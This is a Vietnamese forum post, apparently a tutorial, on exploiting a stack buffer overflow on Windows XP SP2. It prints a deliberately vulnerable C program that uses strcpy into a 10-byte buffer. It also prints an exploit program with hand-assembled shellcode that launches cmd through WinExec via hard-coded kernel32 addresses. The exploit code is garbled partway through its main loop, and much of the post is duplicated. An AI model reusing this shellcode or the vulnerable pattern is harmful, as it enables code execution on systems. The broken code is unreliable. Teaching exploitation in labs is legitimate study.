Buffer Overflow
Trang 1 trong tổng số 1 trang
Buffer Overflow
Lỗi buffer overflow đã có nhiều bài viết về nó nên mình chỉ xin nói ngắn gọn thôi, các link tham khảo thêm
http://en.wikipedia.org/wiki/Buffer_overflow
Mình không rành về lý thuyết nên mình sẽ không nói về lý thuyết về buffer overflow là như thế nào.
Đây là 1 đoạn code của chương trình có nguy cơ bị buffer overflow (vuln.c)
Sau khi biên dịch ta chạy thử chương trình xem sao
Trên hình ta có thể thấy được khi ta chạy chương trình với tham số truyền vào lớn hơn 10 nó sẽ sinh ra lỗi. Ta thử click vào click here để xem có gì trong đó
Xem hình dưới đây để hiểu rõ hơn
Dựa vào hình ảnh trên ta có thể hình dung ra được tham số truyền vào của ta sẽ như sau:
[10 byte ngẫu nhiên] + [4 byte ghi de vao ESP] + [4 byte ghi de vao EBP] + [shellcode]
Giờ ta thử viết 1 chương trình exploit buffer overflow này thử xem sao (expl_vuln.c)
Giờ ta thử compile và chạy thử xem (lưu ý để 2 file vuln.exe và expl_vuln.exe trong cùng thư mục)
File mà mình đã complie (phải chạy chương trình trên xpsp2)
http://www.ziddu.com/download/9480579/BufferOrverflowsample.zip.html
http://en.wikipedia.org/wiki/Buffer_overflow
Mình không rành về lý thuyết nên mình sẽ không nói về lý thuyết về buffer overflow là như thế nào.
Đây là 1 đoạn code của chương trình có nguy cơ bị buffer overflow (vuln.c)
- Code:
#include
#include
int main(int argc, char ** argv)
{
char buf[10]; // Khai bao 1 mang kieu char co do dai la 10
if(argc == 2)
{
printf("Chuan bi exploit buffer overflow nao\n");
strcpy(buf, argv[1]);
}
else
{
printf("Thay duoc dong nay khong\n");
}
return 0;
}
Sau khi biên dịch ta chạy thử chương trình xem sao
Trên hình ta có thể thấy được khi ta chạy chương trình với tham số truyền vào lớn hơn 10 nó sẽ sinh ra lỗi. Ta thử click vào click here để xem có gì trong đó
Xem hình dưới đây để hiểu rõ hơn
Dựa vào hình ảnh trên ta có thể hình dung ra được tham số truyền vào của ta sẽ như sau:
[10 byte ngẫu nhiên] + [4 byte ghi de vao ESP] + [4 byte ghi de vao EBP] + [shellcode]
Giờ ta thử viết 1 chương trình exploit buffer overflow này thử xem sao (expl_vuln.c)
- Code:
#include
#include
#define RET 0x7C82385D // Day la cho call esp trong kernel32.dll
#define TRASH 0x41 // 'A' dinh nghi ky tu rac o day ta co the khai bao ky tu nao cung dc
/* shellcode chua 0x33 byte = 55 byte */
char shellcode[]=
"\x55" // PUSH EBP
"\x8B\xEC" // MOV EBP,ESP
"\xFF\x75\xF8" // PUSH DWORD PTR SS:[EBP-8] khai bao 1 bien de luu cmd
"\x60" // PUSHAD
"\x33\xC0" // XOR EAX,EAX
"\x50" // PUSH EAX
"\xC6\x45\xF8\x63" // MOV BYTE PTR SS:[EBP-8],63 'C'
"\xC6\x45\xF9\x6D" // MOV BYTE PTR SS:[EBP-7],6D 'D'
"\xC6\x45\xFA\x64" // MOV BYTE PTR SS:[EBP-6],64 'M'
"\x88\x45\xFB" // MOV BYTE PTR SS:[EBP-5],AL
"\x50" // PUSH EAX
"\x8D\x45\xF8" // LEA EAX,DWORD PTR SS:[EBP-8]
"\x50" // PUSH EAX tuc la push cmd vao stack
"\xB8\x4D\x11\x86\x7C" // MOV EAX,7C86114D WinExec: 0x7c86114d (WindowsXP SP2)
"\xFF\xD0" // CALL EAX call eax (WinExec)
"\xB8\xA2\xCA\x81\x7C" // MOV EAX,7C81CAA2 ExitProcess at 0x7c81caa2 (WindowsXP SP2)
"\xFF\xD0" // CALL EAX call eax (ExitProcess)
"\x61" // POPAD
"\x8F\x45\xF8" // POP DWORD PTR SS:[EBP-8]
"\x8B\xEC" // MOV EBP,ESP
"\x5D"; // POP EBP
int main(int argc,char *argv[])
{
char *bufExe[3];
char buf[100]; // 10 byte + 4 byte ESP + 4 byte EBP + 55 byte shellcode = 73 byte, ta khai bao 100 luon cho chan~
memset(buf, 0, sizeof(buf)); // Ghi de toan bo buf voi byte 0x00
bufExe[0] = "vuln.exe"; // Khai bao ten file ma ta se exploit
bufExe[2] = NULL;
for(int i=0;i<18;i++) address =" call">
Giờ ta thử compile và chạy thử xem (lưu ý để 2 file vuln.exe và expl_vuln.exe trong cùng thư mục)
File mà mình đã complie (phải chạy chương trình trên xpsp2)
http://www.ziddu.com/download/9480579/BufferOrverflowsample.zip.html
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root